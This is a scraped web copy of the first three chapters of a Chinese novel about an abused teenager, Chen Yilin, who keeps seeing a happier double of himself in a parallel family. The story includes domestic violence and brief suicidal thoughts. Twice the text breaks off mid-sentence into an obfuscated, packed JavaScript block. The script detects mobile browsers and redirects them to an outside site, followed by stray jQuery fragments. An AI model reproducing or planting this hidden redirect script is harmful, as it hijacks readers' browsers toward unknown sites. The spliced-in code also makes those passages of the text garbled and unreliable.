《与你平行》
1. 交汇
“你这个月发的钱呢?!在哪儿!??”
男人愤怒的声音像锥刀一样剜进陈亦临的耳朵里,他被对方巨大的力道掼到了地上,书桌上的东西被粗暴地扫落一地,分数并不高的卷子像揉皱的卫生纸,被撕裂践踏,仿佛在嘲笑他的异想天开。
“我告诉你,别想着回学校了,老老实实给我赚钱!”陈顺找到了他放钱的本子,他像只耀武扬威的斗鸡,用他粗大的手指数过一张张钞票,“操,就这么点儿?”
陈亦临目光阴沉地盯着他手里的钱,突然暴起一拳砸向陈顺,陈顺猝不及防挨了他一拳头,原本和顺的五官瞬间狰狞起来,他轻而易举地将陈亦临从身上撕了下来,然而暴怒中的少年像条疯了的野狗,带着要和他同归于尽的架势反击。
……
打烂了一根腿的椅子被随意扔到地板上,陈顺骂骂咧咧地擦掉胳膊上的血,得意地嗤笑了一声:“跟你老子斗你还嫩了点儿,下次再敢这么没大没小,老子弄死你。”
陈亦临蜷缩在桌子底下,后背被桌腿硌得生疼,黏腻的睫毛让陈顺看起来有些模糊,右手腕已经弯折成了可怖的角度,他却感受不到任何疼痛。
这样右手没办法写字了。他有些解脱地想道。
不如就这样死了吧。
陈顺得意地吐了口痰,骂骂咧咧地走了,两张红色的钞票落在他手边,上面还留着油腻的指印子。
陈亦临转了转僵硬的眼珠,目光落在了旁边的窗户上,老旧的窗帘在阳光下映出婆娑树影,一阵风吹过,轻轻晃动,连带着周围的景象都变得扭曲模糊。
要爬起来,打开窗户,他家在五楼,不知道能不能成功……
哒。
哒。
脚步声由远及近,原本散开的瞳孔因为恐惧集聚收缩,他几乎下意识地绷紧了后背,艰难地抬起胳膊捂住了自己的头。
然而预想中的疼痛并没有袭来,他也没有被人从桌子底下拽出来,取而代之是一声带着笑意的叹息。
陈亦临愣了愣,小心的放下胳膊,然而看见了一双拖鞋。
白色的,干干净净的拖鞋,上面印了一直卡通的大耳朵狗,毫无疑问,这根本是一双不可能出现在他家的一双鞋子。
对方应该是个男生,穿了双灰色的运动短袜,清瘦的脚踝随着他往前走两侧有些凹陷,修长的小腿很白,左膝盖上还穿着条黑色的护膝,只是再往上就看不到了,桌子挡住了他的视线。
“老爸,我知道了。”男生的声音有些无奈,“下次打篮球我一定注意。”
“上一次你也是这么说的。”陈顺的声音一出来,陈亦临就僵在了原地。
他循声看向门口,就看见去而复返的陈顺,只是对方看上去瘦了不少,穿着他从未见过的白衬衣和西装裤,在解手腕上的表,脸上是陈亦临从来没有见过的温和笑意。
看起来竟然像个人。
真是见鬼了。陈亦临有些恶心地想。
“下次我一定遵守比赛规则。”男生拿着篮球走向陈顺,将球丢给他,“你也要多锻炼,小心被三高找上。”
陈顺单手接过球,道:“算了,我说了你也不听,等你妈回来再收拾你。”
男生似乎是笑了一声。
陈顺又说:“今天你过生日,想去哪里吃?”
男生似乎在说一个餐厅的名字,父子两个有说有笑,声音在陈亦临耳边逐渐模糊起来,他浑浑噩噩间忽然想起来,今天好像也是他的生日,只不过没有人记得。
他闭了闭眼睛,清晰地感受到身体的温度在下降,鼻腔里的血让他喘气都费劲,疼痛逐渐变得剧烈而密集。
男生似乎和“陈顺”碰了碰拳头,关上了房间门转过身来,陈亦临艰难地喘了口气,终于看清了他的脸,却在看清楚的一瞬脑子轰然炸开——
那个男生赫然长了张和他一模一样的脸。
门后挂着的飞镖盘发出了咔哒的响声,像计时器最后一声,陈亦临眼前的景象再次开始扭曲,红白黑相间的色块拧成了一团乱麻,他终于彻底失去了意识。
——
“来了小陈。”吴时正在蒸鱼,见他来打了声招呼,“赶紧把米饭蒸上吧。”
陈亦临系好围裙,将口罩往上提了提,试图遮住颧骨上的青紫,倒出米饭拧开水龙头,开始熟练地淘米。
复位后的手腕被冰冷的水流冲刷,刺痛像针扎一样传来,他皱了皱眉,换了左手,但左手上被划开的伤口刚一沾水,就传来一阵生疼。
他甩了甩手上的水,问:“吴叔,有手套吗?”
“有啊,你找找吧,应该在那边柜子里。”吴时忙得脚不沾地,催促道,“抓紧时间,马上就到饭点了。”
“嗯。”陈亦临应了一声。
“还有啊,你这个月又请了三天假,我都快忙成陀螺了,虽然说工钱我照扣,但小陈啊,你也得体谅一下你吴叔不是?咱们做小本买卖的都不容易,你再这样我可就不留你了。”吴时见他真去拿手套,本来就不大的眼睛眯成了一条缝,挺着肚子不满地用勺子敲了敲不锈钢盘子。
“我下回注意。”陈亦临拉开柜子去找手套,手指上黏了一层油,柜子里呛人的油腻味让他下意识屏住了呼吸,“吴叔,这里没有。”
“等会儿我找找。”吴时不耐烦道,“大小伙子戴什么手套,天还没冷呢,要是我雇的人都戴手套伙还怎么干?”
陈亦临起身将柜子门一关,沉默地走到水池边,拧开水龙头继续淘米。
他打工的这个地方是一所职校的食堂,他今年刚满十七周岁,初中毕业,正经的公司和稍微有点法律意识的小作坊都不会要他,吴时是陈顺的小学同学,在食堂里包了个窗口卖饭,这人舍不得花钱雇正经帮手,陈顺就让他过来先帮忙干活,一个月给他九百块钱,包一顿午饭。
陈亦临在这里干了半年,终于攒了五千块钱,结果前两天陈顺忽然回家,把钱拿走了。
食堂里逐渐响起了嘈杂的声音,潮湿的米饭香气和油腻的菜味混在一起,刚军训完的新生个个像饿死鬼投胎,疯狂地挤向窗口。
“师傅我要条鱼,多浇点汤!”
“米饭多打点儿,哥,求你了!”
“我要这个红烧肉,还有这个孜然蘑菇,加一碗鸡蛋羹!”
“多来点米饭呗帅哥。”一个被晒得黢黑的小伙子冲他咧嘴笑,露出了排大白牙。
陈亦临往多给他盛了点,旁边的吴时没好气地瞪了他一眼:“你来盛鱼,起来。”
陈亦临和他交换了位置,红烧鲅鱼的香气直冲鼻腔,这鱼不大,是按条卖的,一个白白净净的男生递过盘子来:“你好,一条鱼一碗米饭。”
陈亦临看了他一眼,给他盛了条鱼,没来由地想起之前梦里的男生。
——大概率是梦,又或者是幻觉,当时他被陈顺打了个半死,那人虽然长了一张和他一模一样的脸,但又完全不一样。
比他白,比他高,头发剪得整齐清爽,穿得干干净净,说话谈吐大方得体,一看就是那种老师喜欢的优等生。
操,肯定是陈顺把他打傻了,竟然让他梦见自己变成那副吊样,陈顺这死畜生也变成人了。
米饭里被浇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560160|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了红烧鲅鱼的汤汁,香得离谱,他大口将米饭扒进嘴里,一筷子一筷子夹着碟子里的小咸菜,旁边和他一起吃饭的吴时看得肉疼:“哎,这是咸菜你不怕齁死啊?”
陈亦临舔了舔嘴唇:“还行,你做得咸菜香。”
在吴时控诉的眼神里,他又去添了一大碗饭,舀了两勺汤汁浇上,他瞪着餐盘里新鲜的鲅鱼几秒,恶狠狠地咽了咽口水,端着饭回到了座位上开始狼吞虎咽。
以前没钱吃不饱,吴时虽然抠不给吃肉,但是饭管够,午饭是他唯一的一顿饱饭,这半年他又开始蹿个子。
省吃俭用攒的钱全都被抢走,下个月发了钱他一定先吃饱,长得又高又壮,早晚弄死陈顺这个王八蛋。
吴时很不乐意他吃得多,临走前指了指堆在水池里的锅碗瓢盆:“记得把这些都洗了再走。”
“知道了。”陈亦临抹了把嘴,撑得打了个饱嗝。
等他洗完了那些厨具,右手腕已经肿得不像样了,他甩了甩手,换上衣服戴好口罩出了食堂。
这是一所职业技术学院,里面的学生有些和他差不多大,他走在人群中不算违和,而且学校管得并不严,有时候下班早,他还会去蹭课,具体能蹭到什么课看心情和运气,有时候是汽修,有时候是理发,有时候是计算机,偶尔也能蹭到几节文化课。
有时候他觉得自己像只无头苍蝇到处乱撞,迫切地想要改变,却不知道该往哪里飞。
入秋之后晚上天有点凉了,他将手揣进了外套兜里往家走,操场上有几个学生在打篮球。
“传球!”有人喊了一声。
陈亦临听声音觉得耳熟,他停住了脚步,抬头望了过去。
那人穿着一身蓝白色的校服,身形灵活矫健,头上戴着条白色的发带,黑发在空气中划出一道漂亮的弧度,他应该是在笑,暖黄色的灯光下,眼睛里像是盛了汪清澈的泉水,耳朵后的皮肤因为运动泛起了好看的潮红。
“陈亦临!球给我!”有人在喊。
陈亦临有些恍惚,下意识以为对方是在叫自己,向前走了半步后猛地反应过来,震惊地看向那个和自己长得一模一样的“陈亦临”,对方举起篮球砸向他,他本能地抬起手挡在面前,然而那个篮球却穿过了他,落在了另一个人手里。
“陈亦临”笑着朝他跑过来,停在了他面前。
两个人离得极近,他甚至能感受到对方有些急促地呼吸,陈亦临目光呆滞地望着他,就听他对自己身后的人笑道:“打完这把回教室上自习,高三了抓点儿紧。”
“哎呀知道了,你跟班主任似的。”那人越过陈亦临给了他一锤。
“陈亦临”笑着捂住了肩膀,目光同陈亦临有一瞬间的交汇。
陈亦临下意识地屏住了呼吸,他听见了自己胸腔中心脏剧烈跳动的声音,他抬起手伸向“陈亦临”的脸,却眼睁睁地看着自己的手穿过了对方的头颅。
“怎么了?”有人问。
“不知道,总觉得哪里怪怪的。”“陈亦临”有些疑惑地看着面前,“好像有人在摸我的脸。”
天空中飘起了细密的雨丝。
陈亦临惊恐地往后退了几步跌在地上,周围路过的学生有人过来扶起他,有人关心询问,然而他只死死盯着不远处的“陈亦临”,看着对方抱着篮球和别人勾肩搭背离开。
“同学你没事吧?”有人伸手在他眼前晃了晃,“同学?”
陈亦临僵硬地转动着眼珠,一骨碌爬起来冲出了人群。
陈顺这个王八蛋果然把他的脑袋打坏了!
他变成精神病了!!
2. 青柠
他仓惶地逃回了家。
称之为家也不够准确,之前他们一家三口住的房子早就被陈顺卖了,这个小两室也不知道陈顺怎么搞来的,他们就这样住着,也没见有人过来催房租。
他一进门就闻到了炒菜的香味,愣了一下。
“妈妈?”他鞋都没换,直奔厨房。
林晓丽正将鱼往盘子里放,闻言头也没抬,声音一如既往地冷漠:“吃饭。”
“好。”陈亦临跑去洗了手又跑到厨房帮忙端菜。
原本乱糟糟的客厅被收拾得整齐干净,落满了灰的餐桌被擦得反光,断了电的冰箱被填满了蔬菜和肉,陈亦临有点兴奋地跟在她身后,给她递东西:“还炒什么菜?”
“做个蒜蓉茄子,你爸爱吃。”林晓丽说。
陈亦临脸上的笑容瞬间一垮:“他今晚也回来?”
“我给他打了电话,我们有事情商量。”林晓丽板着张脸说。
她长得是很好看的,完全不像四十多岁的样子,头发收拾得干净利索,描过的眉毛和化的妆也很漂亮,耳朵上还戴了副金耳环,陈亦临已经一年没见过她了,总忍不住看她,说话也小心翼翼的。
“妈妈,这次回来你还走吗?”他看着桌子上的菜,咽了咽口水。
“还没想好。”林晓丽掀起眼皮看向他,“你怎么瘦了这么多?”
陈亦临嘿嘿一笑:“没有吧,我平时吃得挺多的。”
林晓丽皱起眉:“你爸说给你找了活儿,你现在在干什么?”
“在技术学院的食堂帮忙,老板是他朋友。”陈亦临抬手摸了摸鼻子。
林晓丽的目光在他红肿的手腕上一停,又飞快地移开:“食堂里能有挣几个钱,再说你爸那些朋友……”
她欲言又止,脸上浮现出了厌恶的神色,却又碍于什么没有继续说下去,转而道:“你好好挣钱,把钱攒起来以后自己用,别给他。”
她的目光扫过陈亦临脸上青紫的淤痕。
“嗯,知道了。”陈亦临垂下脑袋,放在膝盖上的手攥紧又松开,“妈妈,你这次要是走的,我能不能跟你一起?”
回答他的是林晓丽的沉默,就在陈亦临试图再说些什么缓解这尴尬的气氛时,传来了门锁转动的声音,他下意识地绷紧了腰背,盯着桌子上还在冒热气的饭菜。
“叫我回来干什么?”陈顺叼着烟,随手将外套扔到了沙发上,拖开椅子坐在了餐桌前。
“先吃饭。”林晓丽看向陈亦临。
陈亦临这才拿起筷子,伸向了心心念念的红烧鱼。
“啧,大人还没动筷子你吃个屁。”陈顺一筷子抽在了他的手背上。
火辣辣的疼传来,陈亦临咬了咬牙,放下了筷子。
看他顺从的样子,陈顺这才满意,他拿着筷子将鱼戳得乱七八糟,又将其他菜翻了翻,舔了舔筷子,以一种讥笑又轻蔑的眼神看向林晓丽:“哟,你在外边儿挣钱了啊,都舍得买这么多肉了,我还以为你在外边儿有人舍不得回来了。”
林晓丽没有看他,低头吃了口米饭。
陈亦临强忍着胸腔里的怒意,却没有插嘴——这种情形在他家不是第一次发生,他一旦向着林晓丽说话,就会彻底点燃陈顺的怒火,他敢和陈顺动手却打不过对方,只能让情况雪上加霜。
“离婚吧。”林晓丽放下手里的碗筷,目光空洞,语气里带着几分解脱的意味,“家里的所有东西我都不要。”
陈亦临僵在原地,他定定地望着林晓丽,有些艰难地蠕动嘴唇:“妈……”
“你说什么?离婚?”陈顺仿佛听见了什么天大的笑话,他肥硕的身躯在椅子上颤动,被烟熏黄的牙齿裸露出来,像一头被激怒的野兽。
他粗硬的手掌重重地拍在桌子上,盘子移位发出了刺耳的摩擦声:“林晓丽,你能耐了啊!”
林晓丽沉默着,再精致的妆容也遮不住她脸上的苍白,她咬紧了牙,终于抬起头来对上了陈顺的视线,恐惧和愤怒几乎同时爆发,她竭力压住声音里的颤抖:“你说过你不会再去赌,结果又在外面欠了三十万!我怎么给你还?这日子你告诉我怎么过?陈顺,你以为我为什么走,我早就知道你在外面养了人了!”
陈顺像是被踩中了痛脚,他猛地起身掀翻了桌子,扬起手就扇向林晓丽。
“你再敢打她!”陈亦临瞬间暴起扑向了他。
然而他根本不是对手,陈顺是拳击手退役,个子将近一米九,两百多斤的体重,只用胳膊就直接将他掀飞出去。
陈亦临的后背砸在了碎裂的盘子上,却感受不到任何疼痛,眼看陈顺抓住林晓丽的头发就要将人拽进卧室,他直接进厨房抄起了把菜刀,用尽全身力气朝着陈顺的脖子砍去。
“陈亦临!”林晓丽尖叫了一声,也不知道从哪里来的力气挣脱了陈顺,扑上去拦住了陈亦临。
陈亦临眼底血红,他瞪着还想上前的陈顺怒吼:“你再敢碰我妈试试!”
林晓丽拼命抱住他的腰将他往后拖,声音里带上了哭腔:“陈亦临,把刀放下!”
陈顺笑得狰狞,他撸起袖子指了指自己的脖子:“来,往这儿砍,陈亦临,今天你要是砍不死老子,老子就弄死你们。”
陈亦临的胳膊因为过分用力在颤抖,他呼哧呼哧地喘着粗气,全身的血液都冲向了脑子,林晓丽好像在他耳朵边尖叫了一声,血瞬间湮没了他的眼眶,世界只剩下一片嗡鸣的噪音。
再睁眼,依旧是饭菜的香味。
“临临,快下楼,洗手过来吃饭。”是林晓丽的声音。
陈亦临有些疑惑地看着周围陌生的家居摆设,客厅明亮宽敞,置物架上摆满了各种奖杯和合照,里面的陈亦临总是站在陈顺和林晓丽中间,身后是各种他从未见过的景色。
有人从楼梯上走了下来。
是那个“陈亦临”,尽管他和自己长得一模一样,但陈亦临第一眼就认出了对方,大概是因为对方脸上总是挂着那种让人讨厌的笑。
“老爸呢?”“陈亦临”问。
“你爸爸公司加班,阿姨给他留了饭。”林晓丽笑眯眯地冲他招手,“过来,让妈妈抱抱。”
“陈亦临”一脸无奈又抗拒的表情,却还是乖乖张开胳膊,被林晓丽结结实实抱在怀里,林晓丽道:“妈妈出差错过了你的生日,好难过哦。”
“没关系,可以再补办一次。”“陈亦临”松开她,笑着给她拽开了椅子,“其实你是想吃那家餐厅吧?昨天视频看你一直咽口水,老爸都快笑疯了。”
“哼,也不是很想吃。”林晓丽口是心非道。
“下次我们两个去,不带爸爸。”“陈亦临”安慰道。
林晓丽这才满意,拿起筷子给他夹菜:“给你做的红烧鲈鱼和清蒸的金鲳鱼,明天让你爸去给你买更新鲜的,不过你怎么突然想吃鱼了?以前不是不爱吃吗?”
“不知道,最近总觉得特别饿,很想吃鱼。”“陈亦临”看上去有些郁闷。
陈亦临站在餐桌边上,能看见他们,能闻到味道,却无法触碰,他有些困惑地伸出手碰了碰“陈亦临”的后脑勺,对方忽然转过头来。
陈亦临吓得往后一蹦。
“怎么了临临?”林晓丽疑惑。
“感觉有人在摸我的后脑勺。”“陈亦临”捂住后脖颈,拧起眉毛,却什么都没看见。
“是不是最近学习压力太大了?”林晓丽有些担忧地看着他,“成绩不重要,身体才是要放在第一位的。”
“我知道妈妈,我有好好休息。”“陈亦临”压下眼底的狐疑,闷头开始吃鱼,“可能是最近天气变凉了。”
林晓丽一拍手:“那我们去商场买衣服吧。”
“陈亦临”无奈地笑道:“老妈。”
林晓丽一脸哀怨:“知道了知道了,你要学习,那我让你爸陪我,”
陈亦临站在旁边,看着母子二人温馨的互动,用力地闭
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560161|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了闭眼睛。
真是见鬼了,难道是因为现实太操蛋,他已经开始臆想这么离谱的梦了吗?
还不如梦自己中了一个亿。
“陈亦临?醒了吗?”
陌生的声音忽然传进耳朵,陈亦临猛地睁开眼睛,就看见了一张陌生的脸。
“醒了就好,这个是缴费通知单,等会儿你家长来了记得让他们去缴费。”护士给他换了个新的输液袋,“另外注意一下你的右手,你脱臼复位得不太好,而且片子显示有轻微骨裂,长好之前别乱动啊。”
陈亦临有些茫然地看着她:“谁送我来的?”
“应该是你妈妈吧。”护士摇了摇头。
一旁病床上的中年人忍不住开口:“现在的孩子是真不让父母省心,打架打成这样,你爸妈不得急疯了。”
陈亦临没理他,起身就要下床,护士赶紧拦住他:“哎,你别乱动,你现在脑震荡应该卧床休息。”
陈亦临刚要推开她,病房门被人打开,林晓丽带着饭盒走了进来,声音冷淡:“醒了?”
陈亦临见她戴着口罩,眼底的怒火瞬间升腾而起:“陈顺这个王八蛋——”
林晓丽对护士解释了几句,拉上了他们这边的帘子,单薄的帘子将床位围成了一个隐蔽的空间,她放下饭盒,坐在了旁边的椅子上,疲惫又麻木地看了他一眼。
她把口罩摘下来,露出了干净的脸:“你拿着刀,他没敢动手。”
陈亦临又紧张起来:“他死了吗?”
“没有,他害怕躲开了,胳膊破了。”林晓丽静静地看着他,“以后做事不要这么冲动,你杀了他就要坐牢。”
陈亦临扯了扯嘴角,疼得倒吸了一口凉气。
“你爸答应跟我离婚了。”林晓丽语气十分平静,她抬手将碎发拢到耳后,耳垂上贴着一小块棉纱,隐隐有血迹透出来,那对漂亮的金耳环已经消失不见。
“真的?”陈亦临有些不敢相信,却不可抑制地高兴起来。
“前提是我帮他还二十万的债,你跟着他。”林晓丽说,“不然他不离。”
陈亦临呆住,他的喉咙干涩,鼻腔里生出了股酸涩的疼,他有些迟钝地望着林晓丽:“妈妈,其实我——”
“我忍了他这么多年,就是想等你长大,但我实在忍不下去了。”林晓丽看着他,见陈亦临眼眶发红,声音却越发冷酷,“你马上就成年了,自己想办法离开吧,不然早晚有一天会被他打死。”
陈亦临手足无措地看着她,一个字都说不出来。
“这张银行卡里有一万块钱,密码是你生日,你自己藏好。”林晓丽将一张银行卡放到床上,“我以后再也不会回芜城了。”
她起身,头也不回地走出了病房。
陈亦临张了张嘴,想大声地喊住她,却又害怕她真的停下脚步。
不知道过了多久,嘴角传来了点带着血腥气的咸味,他僵硬地抬起胳膊,伸手抹了把脸上的眼泪。
他应该为妈妈感到高兴,终于能逃离这个烂泥潭一样的家。他这样想着,却又不可避免地感到迷茫,妈妈走了,他又应该逃到哪里去呢?
“是哭了么?”一道陌生又有点熟悉的声音在他耳朵边响起。
陈亦临猛地抬头,幻觉中的“陈亦临”正站在病床边上,带着几分疑惑和新奇朝他伸出了手。
修长的手指穿过了陈亦临的脸颊,“陈亦临”似乎惊讶了一瞬,但很快又恢复了镇定,他微微弯下腰,用手指虚虚地刮过陈亦临眼角的泪,而后凑近仔细观察着对方的脸。
陈亦临甚至能感受到两个人交缠的呼吸,他不受控制地往后微微仰头。
“陈亦临”挑了一下眉毛,冲他露出了个极具玩味的笑:“你能看见我啊。”
冰冷的液体穿过血管进入身体,连带着心脏的跳动都迟缓了几分,陈亦临缓缓地瞪大了眼睛。
他闻见了对方身上一股极淡的,青柠味的香气。
3. 油菜
真是见鬼了。
陈亦临绝望地闭上了眼睛,做了几秒的心理建设后再睁眼,那个“陈亦临”离得他更近了一些。
温热的呼吸喷洒在脸上,“陈亦临”笑道:“朋友,我能感受到你的呼吸。”
卧槽。
卧槽!
陈亦临的冷汗“唰”得冒了出来,他默默地拽掉手背上的输液针,下一秒连滚带爬地跑出了病房,一边跑一边声嘶力竭地大喊:“医生!医生!!!”
被他径直“穿”过的陈亦临不尴不尬地摸了摸鼻子,揣着兜跟了出去。
医生办公室。
陈亦临死死拽住对方的袖子,脸色白得吓人:“我发誓我说得都是真的,我不是脑震荡,我肯定是得了精神病!你快给我开点儿药吃!”
坐在椅子上的医生年纪轻轻却大腹便便,他推了推鼻梁上的黑框眼镜,淡定道:“小伙子,遇事不要慌张嘛,年纪轻轻的,不管发生了什么都要平静地面对嘛,你说我说得对不对嘛?先把我的胳膊松开嘛,不然我没办法给你开药嘛。”
陈亦临深吸了一口气,松开了他的袖子,使劲咽了咽唾沫:“我说得都是真的。”
“啊,虽然我不是精神科的专家,但你这个应该是属于幻视幻听的症状,不过嘛,我们这个首先要排除一下脑部的器质性病变,懂我的意思嘛。”胖医生撕下一张单子,拿起笔来开始写,“这样吧,你已经拍过脑部CT了,其实我看着就是有点脑震荡,你要是不放心我们就做一下脑部的核磁共振,我们排除掉这些病变以后嘛,再考虑一下精神方面的问题嘛……”
陈亦临听得云里雾里,愣愣地点了点头。
“嗐,年轻人有什么事过不去的嘛,我们要往前看,不要给自己太大的心理压力嘛。”胖医生把单子递给他,“先去缴费吧。”
陈亦临攥着单子出了门,拧起眉盯着那些爬虫一样的字想找价格表,旁边有人探过头来跟他一起看,吐槽道:“这都写得什么玩意儿。”
“就是,连价格都找不到。”陈亦临气闷。
旁边的人道:“价格不会写在病例上,你去护士站或者缴费窗口问一问。”
“哦,谢——靠!”陈亦临抬头,猝不及防和对方来了个脸对脸,腿一软差点跪下。
“陈亦临”笑吟吟地看着他:“原来不止能看见,还能听见啊。”
病房走廊上零星走过几个病人和护士,陈亦临警惕地瞪圆了眼睛,“陈亦临”学着他的样子也瞪圆了眼睛,两个人仿佛在面对面照镜子,但他穿得是病号服,对方却穿了一身印着卡通大耳朵狗的灰蓝色睡衣——打死他都不会穿这么幼稚的衣服!
“陈亦临”噗嗤一声笑了出来,抬手在他面前晃了晃:“嗨~”
陈亦临退后一步。
陈亦临拔腿就跑。
“陈亦临”不紧不慢地追在他身后,慢悠悠道:“朋友,不要害怕呀,我还没见过和我长得一模一样的人,真的不认识一下吗?”
陈亦临像无头苍蝇一样乱蹿,最后被逼到了空无一人的楼道里。
始作俑者对他露出了一个无奈的笑容:“幸亏是晚上,不然小区里的其他居民看到我四处乱跑,肯定以为我中邪了。”
虽然这样说,但他却饶有兴致地观察着陈亦临的一举一动。
陈亦临二话不说。
陈亦临拽开消防箱。
陈亦临抄起消防斧朝着他的头劈了上去。
“陈亦临”震惊地看着他,下一秒就消失在了原地。
消防斧砸在楼梯扶手上的声音悠扬婉转,陈亦临的虎口酥麻,接着斧头脱手,他抱着手腕噗通跪在地上,瞬间飙出了眼泪:“嗷——”
斧头被放归原位,但陈亦临的骨头就够呛能放归原位了。
原本只是骨裂的手腕被打上了厚厚的石膏吊在了脖子上,胖医生万分不解地看着他:“只是去缴个费你是怎么弄骨折的?”
陈亦临坐在病床上,垂头丧气:“我又看见那个鬼了。”
胖医生说:“那个和你长得一模一样的幻觉?”
“他会说话,会呼吸,还跟我打招呼。”陈亦临惊恐地抬起胳膊比划,“他还让我去缴费窗口和护士站问交多少钱!”
胖医生摸了摸下巴:“那你能碰到他吗?”
陈亦临摇了摇头,脸色煞白:“所以他肯定是只鬼。”
旁边病床上的中年人搓了搓胳膊:“说得怎么这么瘆人。”
“什么鬼啊神啊,这叫幻听幻视嘛。”胖医生叹了口气,“要不你先吃点镇静类的药物,放轻松,别紧绷着。”
中年人看热闹不嫌事大:“嗐,就算是鬼也没啥好怕的,他又打不到你,叔给你出个主意,下次你再见到他就骂他,骂得越脏越好,鬼都怕这个。”
陈亦临欲哭无泪,但好在有胖医生和中年人的安慰,他觉得这件事情也不是不能解决,然而等到了护士站去缴费时,他才真感觉天塌了。
“你说多少钱?”他捏着手里那张银行卡。
“住院押金两千,还没做的检查费待缴一千六,其他费用一千三百九十六,一共四千九百九十六。”护士说。
陈亦临默默地将银行卡放回了兜里,硬着头皮道:“那我不检查了,能直接给我办出院吗?”
护士抬头看了他一眼:“你今天刚来吧?而且你脑震荡加骨折,最好住院观察一下。”
陈亦临木着脸道:“再观察我就死翘翘了。”
他果断放弃了检查,第二天逮着胖医生软磨硬泡了半天终于办了出院,交完各种费用,卡里还剩下八千六百零四块,看得他心里直滴血。
他原本打算坐公交车回家,结果掏遍了兜也没找到零钱,咬了咬牙直接走路回去,脚底板被不太合脚的鞋子磨得生疼。
他不敢把这张银行卡带回家,陈顺疯起来能把家都拆了,之前那五千块钱他藏到地板底下都能被翻出来,要是这张卡被陈顺找到,又免不了一顿毒打。
老小区没有物业,在西北角有个废弃的电表屋子,他趁着四下无人溜了进去,将那张银行卡用塑料袋包起来,塞进了墙壁的砖缝了,想了想,他又拽过旁边废弃的铁箱子将那堵墙挡住了一半,才勉强放下心来。
他搓了搓手上的灰上了楼,转动钥匙的时候提心吊胆,生怕陈顺在家,直到推开门屋子里静悄悄一片,他才松了口气。
原本被林晓丽收拾干净的房子又变成了垃圾场,昨天被掀翻的餐桌依旧倒在地上,裂开的地板上洒满了菜汤,开灯后照得满地油光,门口的鞋架倒在门口,鞋子散落得到处都是,沙发上扔着陈顺脏兮兮的外套,茶几上扔满了烟头……
陈亦临想拔腿就跑。
他以前待在这里是要等妈妈回家,但现在妈妈说永远不会再回来了,那他也要永远不回来了。
但是要攒钱,他听别人说租房子要好多钱,还要找个远一点的地方,不能被陈顺找到……
他归拢好鞋架,扶起倒在地上的餐桌和椅子,擦干净茶几上的烟灰,将地上的菜叶子和烟头扫进垃圾桶,又艰难地开始拖地——一只手动起来很不舒服,等他收拾完屋子,外面的天色已经彻底黑了下来。
他单手叉腰,满意地看着自己的杰作,炒菜的香气从窗户外面飘进来,闻起来像是炖排骨。
饿意瞬间汹涌而来。
他在空荡荡的屋子里转了一圈,停在了冰箱前,里面是林晓丽买来的蔬菜和水果,他拿了把油菜,想了想,又拿了根葱。
他试图回忆起林晓丽做饭的步骤,但脑子里全都是厨房里的争吵声,陈顺在怒骂,林晓丽在尖叫哭泣,碎裂的盘子和掀翻的锅子,数不清的争吵和谩骂湮没了厨房,蔓延到他躲着的衣柜里,将他缠绕得喘不上气,脑子里只剩下恐惧和饿意。
他沮丧地垂下头,盯着绿油油的菜叶子看了几秒,然后啃了一口。
很难形容是什么味道,像在吃草,但应该能抗饿,嚼得久了还能唱出点甜味来。
陈亦临拿着油菜坐在餐桌前,啃了一半才想起来没洗,不过一点农药残余是吃不死人的,他这样判断着,眼前的景象又开始模糊。
他近乎麻木地看着眼前的场景变换,好几千的检查费足够磨炼出他坚强的意志,不管是精神病还是见鬼都无所谓了,休想让他从兜里掏出这么多钱。
他冷酷地嚼着嘴里的菜梆子。
哼,就当看电影了,还不用花钱。
宽敞明亮的开放式厨房里,“林晓丽”和“陈顺”穿着围裙,正一边聊天一边做饭。
“这条鱼可新鲜呢,钓它上来费了我老鼻子劲了,今天务必让我亲自送它上路。”陈顺动作麻利地刮着鱼鳞。
“你还好意思说,钓了三天钓上一条这么丁点儿大的鱼。”林晓丽正在煲汤,她穿着漂亮的围裙,上面印着只戴着蝴蝶结的漂亮小狗。
陈亦临觉得很好看,很符合他妈妈的气质。
“那怎么了,我大儿子要吃鱼,我就是去河里扎猛子也得给他捞上一条来。”陈顺的围裙上也是只狗。
陈亦临撇撇嘴,虽然这个“陈顺”像个人,但顶着那张脸说出这种话来怎么听怎么恶心。
呸,虚伪。
“好好好,老公真棒。”林晓丽踮起脚来亲了他一口。
陈亦临:……
他感觉眼睛受到了攻击,恶狠狠啃了口菜叶子泄愤,被苦得拧起了眉。
“让我想一想啊,一道排骨炖山药,一道红烧鱼,一道白灼虾,再炒个青菜吧。”林晓丽像只花蝴蝶在宽敞的厨房里飞来飞去,“就做临临爱吃的清炒小油菜。”
陈亦临有点牙酸,他记得只有小时候林晓丽才喊他临临,听起来怪怪的。
“少放点油,菜先焯下水——”陈顺处理好鱼,不怎么放心地凑上去,“算了,还是我来吧。”
“你这就有点瞧不起人了啊老陈同志。”林晓丽嗔怪地看了他一眼,但还是将菜递给他。
陈顺得意地哼笑了一声:“请叫我陈大厨,林晓丽同志。”
林晓丽和他挨在一块儿,一脸崇拜地看着他:“老公你真是上得厅堂下得厨房,爱你。”
陈顺给她抛了个飞吻。
陈亦临木着脸嚼着菜叶子,想拿把刀把陈顺砍成臊子。
“亲爱的老爸老妈,请注意你们的言行,你们儿子还在这里。”一道熟悉的声音幽幽地在陈亦临背后响起。
